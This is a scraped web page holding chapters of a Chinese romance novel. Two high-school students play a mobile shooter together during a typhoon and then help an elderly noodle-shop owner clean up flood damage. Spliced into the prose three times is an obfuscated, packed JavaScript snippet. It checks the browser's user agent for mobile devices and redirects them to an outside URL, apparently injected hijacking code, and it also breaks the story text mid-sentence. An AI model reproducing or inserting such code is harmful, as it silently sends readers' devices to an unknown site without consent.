“我跟小晏子，那是纯纯粹粹、清清白白的好兄弟关系，再不济还有母子情在呢。”沈寓感慨地开始忆往昔，“想当年，榕树下，过家家，他当儿子我当妈……” 她一副请苍天辨忠奸的样。 “停停停，宝子。”章知之怼回去，“一点浪漫细胞都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138941|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有，我看你才是脑子有问题。还小燕子，别哪天把你这条鱼给叼走了都不一定。” 沈寓纯当她是磕cp磕疯了，什么都磕得下。 她颇为无奈地摇摇头。 母子情都磕，没救了。 章知之接着道，“话说，你们现在关系已经这么好了啊，半个月前他不还是不理你吗？怎么，现在不讨厌了？” 茶几上有一篮孟梧女士刚洗好拿过来的草莓，沈寓摸了个放嘴里，听到章知之的话，抬头望天，定定地看了会儿，寻思了下后道，“不知道还讨不讨厌了，但现在，至少比之前熟了。” 可以开玩笑，可以拌嘴，还给她讲题，应该……不能再说讨厌了吧。 虽然比起以前或许还有点距离，但毕竟他们姑且也算个破镜重圆，久别重逢，有点缝隙是必然的。 反正日子还长，慢慢来，沈寓不内耗，这么想着。 过了一会儿她又自恋地想起她那碗送过去的面。 肯定是做的特别好吃，陈晏宣被她的心意打动了，这才不对她冷脸相对了。 嗯，没错，肯定是这样。 - 下午台风登陆，同榆在陆盈隔壁，受影响也大。 这个时候的街道，确实是可以说空无一人了，待在屋内都能感受到狂风似乎想把所有楼房撕碎，窗户震颤，吵得人有些不安宁。 虽然才下午五点，但因着台风的缘故，天色已经些许昏暗了。 窗帘紧闭的屋子里，更是一阵难捱的压抑。 不知道蒙头睡了多久，床上的少年才终于掀开被子下床。 头发散乱蓬松，七零八乱地撒在额前。不知道是不是刚睡醒脑子有些昏沉，他拖着脚步走到厨房兀自给自己倒了点水。 一杯下肚，干渴许久的喉道被沁湿，才终于将宕机许久的大脑拉回点意识。 他手撑在流理台，强撑着等刚起床那股倒血的劲过去，才走到沙发上坐下，半只手臂盖在眼睛上醒神。 手机这时忽然传来一阵消息的提示音，屏幕亮起。 虽然亮度没调太高，但此时的光亮在晦暗的房间里也显得有些刺眼。 陈晏宣掀了掀眼皮，等适应了光亮才看清手机上的信息。 14：23 -我看天气预报说同榆最近要刮台风，你一个人小心些。 消息间隔了很久，在刚刚又发来了一条。 -他，最近又来找你了？ 看到备注上的“妈”，陈晏宣盯着屏幕看了会儿，许久没出声。 等过了会儿，才拿起手机，给对方回信息。 -嗯。 言简意骸的一个字。 也不知道回复的是第一个问题，还是第二个。 他将手机息屏，看着黑压压的房间出神，没来由的，有些烦躁。 身影在暗色消融，潮湿的，混沌的，万籁俱寂。 不知空洞地盯着面前的一切出神了多久，他身边手机突然又亮起来。 十几条消息争先恐后地挤到屏幕前，将原先的消息覆盖。 “吃饭没，小晏子？” “有空没空啊？” “你卷子写完没有？” “哎呀我好无聊啊。” …… 20. 游戏. 沈寓吃饱饭，在床上打滚，闲来无事挨个骚扰各个好友。 章知之在晚修，踢不了。 孟云凡好像说今晚有个球赛要看，也踢不了。 就连平常最游手好闲的姑姑，都在说要搞毕设，没空搭理她。 翻来覆去，实在找不着可以玩的人，沈寓终于又点开了那团黑色头像。 怕他不理她，她干脆一连串发了好多条过去，这样总比一条消息孤零零地躺在聊天记录里好一点。 沈寓将脚翘在床沿，眼睛直勾勾地盯着屏幕，等着那顶上备注是句号哥的人发消息过来。 哪怕是发个句号过来也可以。 一分钟 两分钟 三分钟 …… 手机上方的时间不断在变化，这聊天记录却无动于衷。 “……” 难不成也在忙？ 沈寓在心里正嘀咕。 忽然发现上方备注突然闪了一下，“对方正在输入中”闪烁了一瞬又很快灭掉，快到沈寓几乎不敢相信自己的眼睛。 但还是被她抓住了。 沈寓手中噼里啪啦打着字，“站住不许动，都被我看到了。” -竟然不回本王消息！胆大包天，该当何罪？ 然后，过了一会儿，她终于得愿以偿地收到了句号哥发来的——“。” 有总比没有好，沈寓一向容易满足，她满意地点点头，正准备继续发消息，却见那白色的泡泡又多了几个。 -吃了。 -算有空。 -昨晚做完了。 -所以？ …… 沈寓愣了愣。 发现他竟然真的每一条都回复了，每一条都对应着她发的消息顺序。 虽然仍然很简短，但都有问有答。 沈寓看着手机屏幕，怔怔地发了会儿呆。 大跌眼镜，简直是大跌眼镜。 她弱弱在心里想，小燕子今天……吃错药了？ 这不像他的作风啊，难不成手机被别人拿了？ 沈寓发了条消息试探，“你…是陈晏宣吗？” 感觉这问题很没水平，她又换了个高难度的，“陈晏宣的绰号是什么？” 句号哥发来一条消息。 -。 “……” 这回沈寓总算放下心来了，嗯，是她认识的陈晏宣。 倚在墙壁上的腿放久了有点发麻，她放下来悬在半空，有一搭没一搭地晃着，“你在干嘛呀？” 懒得打字了，沈寓发了条语音消息过去。 陈晏宣眼皮垂着，往下划拉着消息，不小心摁到了她新发来的那条语音。 女生声音轻软，认真听的话其实带着点江南口音，毫无预兆地脆生生响起，倏然打破了屋子里长久的沉寂。 … 空荡荡的房间里，她的声音无比清晰，横冲直撞地闯进耳朵里。 “……” 陈晏宣没反应过来，握着手机的手滞了一瞬。 久久回过神来，才回了一条消息，“看电视。” 对方似乎知道他扯谎，毫不留情地拆穿道，“骗人，你家电视就没打开过吧。” 上次去的时候就发现了，那机顶盒有些落灰了不说，观看记录从她第一次去他家到第二次去他家，都停留在同一个位置。 就这样还看电视？反正她不信。 见陈晏宣没回，沈寓也不在意，岔开话题又继续道，“我和你说小燕子，我真的无聊透顶了。我给每一个人发消息，他们都是在忙，我在家里都要待得发霉了。” -嗯。 对方回了句，似乎在等她的言外之意。 所以？ “所以……”沈寓踌躇了会儿，终于交代出真实目的，“小燕子你想不想和我玩一下游戏啊？” -？ “和平精英，你会玩吗？” 沈寓不会打王者，唯一会的比较热门的游戏就是和平精英，还是为了过年回去能融入小孩圈下的。 她平常不怎么打，也不是非玩不可，只是今天一个人无聊的时候忽然想到陈晏宣，刮着台风，他一个人孤零零地在家里会不会觉得孤单。 她家里尚且还有她爹娘陪陪，陈晏宣就自己一个，而且孟云凡今晚还要看球赛，没来由的，沈寓就是觉得陈晏宣需要被骚扰一下。 -不会。 对方冷冰冰地丢来两个字。 沈寓却不灰心，反而更加兴奋，“那太好了，我带你啊！” * 沈寓缠了好久，才总算把陈晏宣磨同意了。 两人约在晚上七点一起玩。 沈寓借着这个时间段去洗了个澡，整装待发后看着时间差不多，坐在床上兴高采烈地给陈晏宣发送信息轰炸，“怎么样怎么样，下好了吗？” 陈晏宣咬着手里的面包，看了眼加载进度，发过去。 -嗯。 冰箱里没有熟食，他随手拿了个面包应付。 因着要和她打游戏，陈晏宣把客厅的灯打开了。 一时间天光大亮，温暖明亮的灯光扫进整个屋子，添了点生气，没有像刚刚这么死气沉沉。 他手机上是沈寓刚刚拨通的语音电话。 既然要打团体游戏，肯定是需要交流的。但如果开麦，总避免不了要被同一队伍里的其他人听到。 在网上的陌生人面前，说话总有些不得劲。 思来想去，沈寓还是选择了语音通话。 她激动的声音从手机里传来，十分真切，鲜活得好像她就在他身边，“快快快，小燕子你快取个游戏id，咱们赶快开始。” 陈晏宣没骗她，他确实没有玩过这个游戏。 新用户进去需要取个昵称和给自己捏脸，在沈寓的催促下，陈晏宣随便挑了个原始皮肤。 等到取昵称的时候，他的手在键盘上犹豫了一下。 随后打了个英文，“swallow.” 沈寓添加他好友的时候看到这个名字，不由得笑起来，“小燕子，小燕子，虽然你嘴上说着不喜欢，行动上还挺实诚的嘛。” “哼哼，你明明就是喜欢我给你取的这个称呼。” swallow是燕子的英文翻译。 “……”陈晏宣没回复。 沈寓笑眯眯地点开游戏，拉他组队。 循着记忆，沈寓点开团竞，选了个雨林遗迹地图。 这种团竞的游戏时间短，比其他什么又长又臭的经典模式好玩些，她不是什么有耐心的人，就喜欢速度解决的游戏。 过年回去和弟弟妹妹玩游戏的时候，她也只玩团竞，后面那几个表弟看到雨林就想吐，可沈寓却仍不亦乐乎。 “选个武器。”沈寓提醒着这个刚开始玩的“小白”。 因为是新号，陈晏宣等级低，解锁不了高端的枪械。 他随便挑了把射手步枪，就按准备了。 那边的沈寓自信满满地选了她最拿手的武器——轻机枪。 这种轻机枪有三百发子弹，容量大，换弹次数少，对着敌人就是一顿扫射。 沈寓的游戏皮肤扛着两把轻机枪，正带着墨镜注视远方。 她得意洋洋道，“小燕子你待会儿就躲在我身后，我两把轻机枪上去就是一阵突突突，我看谁能伤得了你。” 没错，她就是要这样从天而降，英雄救美。 虽然，但是，其实，她选轻机枪还有一个原因，就是……她手速奇烂，走位一塌糊涂，一旦要射击，就站在原地不动了。 她老弟扶额，对她直言：姐，你站那就跟人机一样。你还不如选个轻机枪直接扫射，跟人对线没准还能赢。 听人劝，吃饱饭，用了一次之后，沈寓就对这轻机枪无法自拔了。 陈晏宣看了一眼组队画面上她的皮肤，她选的是男性角色，正穿着一个十分骚包的肌肉男衣服，肩膀上扛着轻机枪，雄姿英发地左右望着。 他嘴角微微抽了抽。 “…” 算了。 _ 匹配队友成功，两人进入游戏画面。 陈晏宣点了点上方的地图，百无聊赖地在那准备的二十秒钟研究路径。顺便滑动着键位，试试怎么走位。 沈寓在旁边侃侃而谈道：“这游戏虽然看起来难，但其实上手还是挺简单的……” 她正想向陈晏宣分享一下自己的心得，忽然被一阵小学生辣条音打断—— “握超！这系统怎么匹配的，怎么进来的人一个两级，一个二十级，对面一堆五六十级的，这怎么打！” “？” 沈寓愣住，向手机游戏界面看去。 开麦的是二号队友。 听声音像是，小学生？ 或者，再大一点，初中生？ 反正听着不比他们大。 但他旁边显示的六十二级的徽标却十分引人注目。 辣条音还在继续，“完蛋了，我不会要一拖三了吧。” “……” 沈寓勉为其难地认可他可能确实水平比他们厉害一点，但这小屁孩口气这么大着实让人不爽。 她不服气地在队伍聊天的频道里发去一条消息。 -小屁孩，少看不起人了，待会儿谁拖谁还不一定呢。 “切，你个二十几级的也配说这种话？” “……？”沈寓这火滋溜一下就上来了，差点撸起袖子就要上去与他干仗。 要不是游戏提示音开始，她马上就要拿起枪上去对着他屁股扫射了。 “切，饶你一命。”沈寓嘟囔着，对陈晏宣喊了一句，“小燕子我们从右边走。” 地图分为A平台，B平台和后院，中间还有个中路长廊。起始重生点位于B平台和后院，沈寓他们现在的位置就是在B平台。 从右路走，要经过一个木门，后院一般会有人在那边的点位蹲守。 沈寓挺着两把轻机枪，从门边瞄发现对面正有人直冲他们这边，一个滑铲出去就是对着那边的人扫射。 她正想向陈晏宣展示她的飒爽英姿，所向披靡，谁料还没把对面倒着跑的人机打残血，就被对面蹲点的人一把狙给爆脑了。 露头就秒。 “蓝队，拿下首分！” 游戏提示音冷不防地响起。 … 游戏开始了有十秒吗。 好像没有。 辣条音再次开麦怒道，“我靠！谁一直往上送啊！” “……” 沈寓讪讪地摸了摸鼻子，对着电话那头的陈晏宣解释道，“失误，我这肯定是失误，肯定是太久没玩了，所以…” 陈晏宣没有说话，但似乎有微微的气声透过手机传来。 像是从鼻腔里溢出来的哼笑。 意识到陈晏宣可能在嘲笑她，沈寓也不知道怎么还嘴，毕竟是她先口出狂言的，现在被打脸打得有点疼。 战术团竞可以无限制地复活，只要哪一方率先拿下四十分便能赢下比赛。 后院有人拿狙蹲点，不好冲，沈寓又换了个方向，和陈晏宣从左边走。 他们是红方，辣条小学生还是有点实力的，在这段时间拿了两三个人头。 但毕竟他们队伍确实有点实力不详，对面不断的“nomoresee”声音传来，很快他们还是被领先了十几个人头。 “蓝队，暂时领先。” 对方先拿到了二十分，赢下半场胜利。 完蛋。 在沈寓在心里默默道。 领先了十几个人头，这局势确实难掰回来了。 沈寓想着干脆随便玩玩就算了，这一把没赢，肯定是因为匹配到太强的对手了，下一把换个低等级的对手，肯定能赢。 她这么想着，手上的动作也慢下来。 小学生不断地在开麦狂啸，“这怎么打啊，啊啊啊啊……一群垃圾队友，这怎么赢？” “我靠了，屁股又被偷了，三四个人直冲我，这怎么打，怎么打！我队友都死哪里去了……” 沈寓这回难得地没有反驳他。 小学生的水平确实是挺高的。 … 她正想随便找个地方猫人算了，手机对面突然传来一道声音，“去石头后面。” 声音散漫，透过麦克风传来显得有些低沉，像电流般穿过沈寓的耳廓。 “…” 这是自台风放假以来她第一次听到他的声音。 怎么听起来有点哑？感冒了？ 没来得及细想，她跟着陈晏宣的话去做。 中路和后院之间夹杂着一块区域，有几处可以蹲点的石头，从这个地方猫人，可以看见三方来兵，堵着中路出口、后院出口和B平台入口。 陈晏宣瞥了一眼右上角的小地图，确定了一下正在开火的区域，“后院那边刚刚过去了一个人，被打死了，估计待会儿会有人往我们这边冲，中路有两个人在蹲。” “待会儿我扔烟雾弹，我冲出去打残血之后退回来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138942|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后你再出去补枪。” “……”沈寓愣了一下，没想到陈晏宣才玩了没多久就把这地图掌握了个七七八八。 “好。”她应下。 烟雾弹扔出去，他们可以看清对面的人，但对面看不见他们。 陈晏宣说的确实没错，没一会儿就从后院跑来了两个人。他们没想到甫一到中路附近，忽然就来了个灯下黑，四周雾蒙蒙的看不见，他们只能对着四周扫射。 沈寓看着他们对着其他地方一通狂轰乱炸，没忍住笑出声。 手上操纵着人物，陈晏宣从另一个方位射击，把两人打掉血之后便退回来，去了另一个地方，然后往前又扔了一个烟雾弹。 那敌方的几人感觉到枪声，想朝陈晏宣的方向扫射，结果半天扫不到人。 后面想滑铲出去，跑出烟雾弹的包围圈，结果沈寓又突然不知道从哪里冒出来，对着他们后面就是一阵突突突扫射收割人头。 “淘汰一人。” “淘汰二人。” 游戏画面提示起来。 沈寓眼睛发亮，还没来得及高兴，那股漫不经心的声音又传来，“出来，中路那边应该待会儿会有人下来。” 说着，他往沈寓刚刚呆着的那块石头后面又丢了颗烟雾弹。 “去B平台。” 沈寓连忙从大石头后面出来，跟着陈晏宣往廊道冲，直朝平台跑。 调整视角往后看时，果不其然看到中路果然跳下来两个人往烟雾圈里射击。 两人故技重施，在B平台的石头后面又猫了几个人。 五连击。 “红队，出现了新的超神选手。” 沈寓看到自己的游戏账号旁边显示了个金标。 小学生讶异道：“我超？谁是超神选手？？” 那边的小学生也挺给力，拉了两个人头，一时间，竟然拉回来不少分。 “换地。”陈晏宣手在屏幕前滑动。 两人从左边绕到右边，往后院去了。 对方也不傻，好歹也是五六十级的人，看到烟雾弹后没再往前冲，反其道而行之，在不远处躲着。 两人明显也没打算再继续用这招，他们去后院找小学生和另外一个人机队友汇合了。 小学生明白了他们的用意，也待在后院没走，三人分布在不同的方位猫人。 沈寓跑上后院的台阶，鸠占鹊巢占了刚刚狙她那人的位置。 别说，还确实好蹲点，怪不得那人一直站这好久都没走。 对面一来人她就瞄着红点镜劈里啪啦地扫射，陈晏宣在前面的石头帮她蹲人，感觉到有人可能要在中路狙她便出来射击，想要狙她的人只能又躲回去。 小学生守着右路，防止有人偷屁股。 一旦这边没人，感觉到右路火力加强，两人就跳下来去帮他。 三人配合得竟然有些……诡异的默契。 “趴着。”注意到前方没人，陈晏宣提醒沈寓趴在平台上，这样对面从那边出来只会先跟他们两个对线，沈寓可以偷摸收割人头。 上方的对战分数不断变化，比分追得很紧。 三人因为抱团，一旦有人被打死，又马上重生在队友附近，趁着无敌复活的准备三秒，对着几个入口道射击，捕掉刚刚掉血的敌人。 有雷就跑，蹲完人就溜，流氓式打法。 但偏偏还真把比分给追回来了。 直到最后，三人以40：38的微小差距竟然勉强取胜。 “swallow拿下最后一击，比赛结束，红方胜利。” 游戏提示音再度响起，提示着众人刚刚那一局比赛结束了。 “？我靠！真赢了啊！” 沈寓的注意力高度集中，还没意识到比分已经接近尾声，直到提示音响起，她才后知后觉他们赢了。 基本是陈晏宣在前面当靶子，沈寓在后面收割，小学生本来也想往后猫猫，结果却被陈晏宣堵着路，只能被迫在前面冲锋陷阵。 靠着捡漏，沈寓竟然成了本场比赛的MVP。 对战结束会显示两方种最佳选手的皮肤，沈寓那骚包的肌肉男角色就这么水灵灵地出现在所有人面前，依旧是带着墨镜，雄赳赳气昂昂地注视着前方。 众人看了不自觉有些辣眼睛，很快退出了比赛。 “啊啊啊啊赢了，赢了！小燕子我们赢了！”沈寓兴奋得手舞足蹈。 她一激动起来话就很密，拉着陈晏宣叽叽喳喳地说个不停。 “我就说我们能赢！” “切，这个小屁孩还敢瞧不起我们，我可是拿了二十一个人头，他才拿了十一个。” “……” 结束游戏后游戏音消失，留下来的只有语音通话上她的声音。 吵吵闹闹的，像是一尾在水面上扑腾的小鱼。 陈晏宣听着她滔滔不绝的话语，唇角没意识地扯起一抹不易察觉的低笑。 沈寓结束了比赛，还不忘私信那辣条音小学生，得意道，“哼哼，我就说了吧，谁拖谁还不一定呢。” 小学生不服气回怼，辣条音响彻，“你能拿mvp明明就是靠你旁边那个人，还好意思说呢。” “那又怎样，反正我们就是赢了，略略略。”沈寓耍赖道。 “跟我斗，你个小屁孩还嫩着呢。” 把那小学生气得说不出话来，沈寓终于心满意足地退出来，正想和陈晏宣说话，忽然听见他道，“你…喜欢这种类型的？” 他还没退出来，手机上还是沈寓的肌肉男皮肤。 “对啊。”沈寓反应过来他说什么，下意识道，“这多帅多威风啊。” “…” 陈晏宣顿了顿，没发言。 沈寓接着道：“小燕子你确定是刚玩吗？是不是背着我之前玩过，不然怎么玩得这么熟练！” 她很质疑。 陈晏宣从茶几上拿来水杯喝了一口，淡道，“逛完一圈，傻子都知道怎么玩。” “……” 沈寓沉默，她感觉自己被骂了，但是没有证据。 沈寓也不介意，赢了的喜悦完全胜过了被阴阳的愤怒。 女孩儿笑容灿烂，漂亮的眸子弯起来，对着手机笑眯眯道。 “对对对，我们小燕子，最厉害了。” 陈晏宣本抓着手机靠近耳朵，想听听她要怎么跳脚，谁料沈寓却一反常态，没顺着他的话接茬。 甜腻腻的，带着点哄人意味的声音猝不及防响起，不自觉让人定在原地，慢了半拍。 21. 帮忙. 台风过境，暴力地给整座城市强行梳洗了一番，阴霾灰尘一扫而净，天气澄澈，唯一能看出来经过的痕迹的只有被吹得歪歪斜斜，头朝一个方向的树木以及地上的残枝败叶。 这一次的昙花大约只有十二级左右，G省由于常年受台风波及，防范排水措施已经相当完备，加上政府有组织的预防、保护，并没有给这座向来繁华的城市带来太大的损失。 沈寓出门的时候，巷弄里的环卫工人正在清扫倒落的大树和叶子，旁边是一些刚从超市买完菜，闲着无聊围观的大爷大妈。 有个住在沈寓家隔壁，和她关系还不错的大妈认出她来，“哟，小沈，这么兴冲冲的是准备去哪里啊？” “顾奶奶！”沈寓笑着朝她招招手，“去和朋友给人帮个忙。” 这次台风来得快，走得也快。本来气象台预计大概是会一天半左右才能完全过境，却没想到只是差不多一天便走得差不多了。 实验放了三天假，多放了一天，也不好再调回来，是以临上学前大家又多了一天假期。 沈寓本想在家继续窝着睡一天，却没想前一天晚上孟云凡一个电话打来问她要不要一起去老王店里帮个忙。 老王店里不知道是不是窗户和门窗没有锁紧，台风灌进来店里积了好多水，排不出，只能靠人工把积水扫出去。 老王上了年纪，一个人弄不了这些，只好摇救兵过来帮忙。 本来是只叫了陈晏宣和孟云凡两个人，结果孟云凡想着兄弟们同甘共苦，既然一起在老王店里蹭饭，自然要一起给老王帮忙，便顺道把沈寓也给带上了。 不过其实就算没孟云凡叫她，沈寓知道这事也会主动请缨。 毕竟当初老王坑她的那五十块钱早就在几个星期的午餐蹭饭中一笔勾销了，后面老王不仅倒贴钱，还任劳任怨，每天乐呵呵地给他们变着花样做午饭。 她和老王的关系也不自觉在和陈晏宣，孟云凡的相处中拉近，不知道是不是爱屋及乌，连带着老王也开始对她照顾有加。 沈寓能看的出来，他是真心把他们当小辈看的，特别是陈晏宣。 于情于理，今天这个忙她都得去帮。 * 三人约在申南路路口，待集合好后才开始往里走。 孟云凡闲不住地喜欢骚扰身边的人，在他旁边站着的沈寓更是首当其冲。 他不是用肩膀撞撞她就是趁她不注意锤她手，然后再一副莫名奇妙的眼神看她，无辜说自己什么都没干，沈寓觉得烦了就转头去骚扰陈晏宣，陈晏宣烦了就冷冷地白孟云凡一眼，三人打打闹闹了好一阵才到老王店前。 门口金灿灿的招牌在风雨的洗刷后更为耀眼，一如沈寓第一次见到这个面馆的时刻。 老板还是摇着蒲扇在门前的摇椅上晃悠，见他们来了才终于掀开眼睛。 “哟，你们这几个小没良心的终于舍得来了啊？” 往里一探，可以看见店里被台风冲击过后的一片狼藉，桌椅下皆是水渍，往里走的厨房的积水更是感觉要漫过脚踝。 唯一逃过的只有二楼，没被摧折太多。 光是他们看到都已经目瞪口呆了，偏偏主人却无甚在意，还翘着个二郎腿刷视频，置身事外，好像这店不是他的一样。 孟云凡吐槽：“不是吧老王，你是老板还是我们是老板啊，把我们喊过来当苦力，你自己倒是轻松哈。” “那不然呢，我都多大年纪了，叫你们来不就是让你们干活的？”老王拿开蒲扇，悠悠道，“你俩这小兔崽子在我这吃多少饭了，叫你们来干苦力这不是理所应当的？真当我这老头子天天让你们吃白饭啊？” 他拍了拍身上的藏青老头衫，正想站起来好好给他们分配工作，忽然看见从他俩身后钻出来一个女孩子。 女孩眼睛亮亮的，跟小猫似的和老王开心打着招呼，“嘿！老王，surprise！” “......” 沈寓刚刚藏在陈晏宣和孟云凡后面，这会儿才终于跳出来，兴奋地朝老王挥手，打算给他个惊喜。 “哎哟你来了啊。” 老王定了定神，才意识到沈寓也跟来了。 他不由地将眼神在陈晏宣和孟云凡之间扫来扫去，一副嫌弃的样子，“我说你们俩是不是男人啊，叫你们来干活还非得拉上人小姑娘，咋的，你俩这是缺胳膊少腿了？” 陈晏宣摊手，“不是我叫的。” 三人的目光接着同时集中在了孟云凡身上。 孟云凡被盯得发毛，“哎呀好好好，我叫的行了吧。咱都兄弟，分啥你我他的，说这些多见外。再说，我芋头姐一个顶两，健壮得很，这些自然不在话下，对吧芋头。” 他不断地向沈寓递眼神，示意她帮自己说说话。 “......”沈寓嘴唇抿成一条直线，忍住了他刚刚的发言，“嗯...嗯，对。” 健壮，对，健...壮，谁还不能是个肌肉男了呢。 - 话是这么说，不过老王还是没给沈寓交代重活，只让她负责擦擦桌面和摆放好桌椅。 剩下扫积水的活就全然交给了陈晏宣和孟云凡两人。 积水确实是多，得先用大的扫帚先大规模将水排出去，然后再用硅胶扫刮一刮，等差不多干净了才能用拖把重新把地面擦干净。 是个重工程。 没多久孟云凡就在屋子里扯着嗓子喊，“老王！老王！老王！” 老王停下玩手机的动作，皱着眉头往里走，“干嘛干嘛，催命啊你。” 孟云凡手里拿着一个断了头的扫把，往前一送。 扫把头和木棍，头身分离，不忍直视。 “......”老王噎了噎，太阳穴跳了一下，强忍道，“孟云凡，...你确定是来给我帮忙的，不是来给我添堵的？” 孟云凡一脸无辜状，“老王冤枉啊，真不是我故意的，我扫把往前一推，就这么一用力，它就断了啊，真不关我事。” ... 老王满脸黑线，用手揉了揉眉间压抑住自己的怒火。 算了，算了，自己的孩子，忍了。 又看了看后面一言不发扫水的陈晏宣，气又消了点。 至少还有一个中用的。 他用手招呼了一下沈寓，“来，小沈，来，别弄了。” 沈寓正在将椅子叠到桌上，以防耽误排水，听到老王喊她，愣了一下后走过去。 “怎么了？老王。” “这活留给他们，咱们不干了。”老王朝沈寓招手，“陪你王爷爷回去拿扫把。” “这么点活都干不好。”他尤其点了点孟云凡，“也不知道这么多饭吃来干嘛的，都没人家女孩子做得好，真没用。” “...”被骂没用的孟云凡很是委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138943|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“明明就是老王你的扫把年久失修，人扫把都服务多少年了你都不舍得换。” “既然如此，没工具了，那我也没办法了。”他顺理成章，悠哉游哉地拉了个椅子坐下，“肯定是老天想让我休息......” 他话还没说完，眼前就忽然递来一个硅胶扫。 陈晏宣面无表情地指了指那边自己刚拖完的方位，“那边我扫完水了，你可以拿去刮干净。” “小燕子你……” 孟云凡仰天长叹，捶胸顿足道，“果然，我已经不是你曾经爱的那个饭桶了吗？陈晏宣你变了，你已经不再是当初那个善解人意的陈晏宣了，自从芋头一回来，我就再也不是你心中第一的位置了。” “你这个喜新厌旧，薄情寡义的男人。” “......” 陈晏宣懒得理他，冷着脸把扫把丢给他，就自顾自走了。 孟云凡连忙扯住陈晏宣毫不留情甩开的手：“燕子，别走，燕子，没有你我怎么活啊……” 孟云凡时不时就喜欢抽上一阵疯，沈寓已经习惯了，但出门前还是没忍住笑出声。 旁边的老王边走边摇头，精准打击道，“小脑发育不全，大脑更是完全没发育。” “小沈，走，咱女孩子才不跟他们干这些脏活累活。你以后啊，少听那孟云凡忽悠你，这小子，一点怜香惜玉都不会。” “......”听完沈寓这次是直接笑喷了。 她总觉得陈晏宣毒舌的样子和老王很像。 跟着老王往申南路深处走，等停到一个熟悉的小区门口前，沈寓才后知后觉。 “咦？老王你和陈晏宣住一个小区啊。” 老王走在前面带路，指了指沈寓眼熟的那栋楼，又指了指后方那栋，“对呀，这小子住前面那栋，我就在他后面。” “原来是这样。”沈寓点点头，跟着老王走进楼里。 老王家就在二楼，走几步就到了。 在门口等老王去仓库房里拿扫把的间隙，沈寓环绕了一下客厅里陈旧的摆设，被前方桌柜上摆放着的照片吸引了目光。 有几张双人照，感觉已经有些年头了。 其中两三张是一对年轻的男女，细看可以看出是年轻时候的老王，正搂着一个女子，两人笑容甜蜜。 这个应该是已经过世的王奶奶。 之前有听孟云凡提过一嘴老王的事情，王奶奶走得早，五十岁出头就因病去世了。夫妻俩没有孩子，这些年来就老王一个人孤零零地住在这，等到前几年的时候老头才一时兴起在实验旁边开起了面馆。 另一张是中年时候的老王与另一个中年男人的合照，两人穿着军装站在一起，却偏偏表情都很尴尬，像是被硬凑在一起拍的，你不服我我不服你的。 还有一张…… 沈寓顺着看过去，被一张照片吸引了目光。 照片里是四个人，其中一对中年男女抱着一个小孩，旁边是老王夫妇，四个人在这张照片里难得地都洋溢着笑容。 被抱着的小男孩却格格不入，冷着一张小脸看着镜头。 大概四五岁的年纪，在很多小孩脸上还是婴儿肥的时候，这个男孩脸上已经轮廓分明，即使隔得挺远来拍照，却也可以窥见清晰的五官，似乎可以隐隐望见长大后的样子。 沈寓很快认出来。 这是小时候的陈晏宣。 22. 过往. 这几个人.....应该就是陈晏宣的外公外婆了吧。 “......” 沈寓细细又打量了一下照片，心中想起之前孟云凡和她大致说过的关于陈晏宣和老王之间关系的话。 老王与陈晏宣外公是过命的战友，当年一个部队里出来的。 不知道是不是因着这层关系，老王才把陈晏宣当亲孙子一样看得这么重。 “来，小沈，你拿这两把，我拿这三把。”老王的声音从仓库房里传来。 “这孟云凡说的其实也对，我那扫把确实已经用好几年了，是该更新换代了。” 他出来的时候正好看见沈寓在对着桌柜上的照片发愣，朗声笑道，“看啥呢看这么仔细。” 沈寓还没从刚刚的思绪中抽离出来，闻言怔了一瞬，意识到自己这样的行为似乎有点不太礼貌，连忙道了声歉，“不好意思啊，老王，我刚刚……” 她刚刚看到陈晏宣的照片一时有些出神，忘了分寸。 老王倒是不在意，他将手中扫把放到墙壁边靠着，边摆了摆手边向她这边走来，“这又不是啥军中机密，有啥不能看的，没事，看。” 他走到架子旁认真搜罗了一圈，突然从其中挑了一张两人合照出来，探头朝沈寓得意道，“怎么样，你王奶奶好看吧？” 语气中带着些炫耀的意味。 那模样像极了小孩子在朝同龄人炫耀他视若珍宝，爱不释手的礼物。 “......”沈寓刚开始没反应过来，愣了一下后才立刻道。 “好看！” 照片中的女人那会儿约莫二十几岁出头，正是青春靓丽的时候，模样娟秀，气质出尘，身材清瘦高挑，确实是那个年代不可多得的美人。 “是吧，见过她的人都这么说，都说我老王啊，是捡了个宝回家，哈哈哈哈哈哈。”老王抚掌大声笑着，一脸与有荣焉，随后又将照片仔细收好。 沈寓不由自主想着，要是老王和王奶奶有孩子，肯定也会很好看。 老王自顾自又拿起来其他照片，一一给沈寓介绍着。 “你看，这是我们当年在北京那什么，叫啥什刹海是吧，应该是那拍的。” “这个呀是去上海，当年你王奶奶非得跟我闹着要去，我还拗不过她。” “这个是在厦门拍的。” “……” 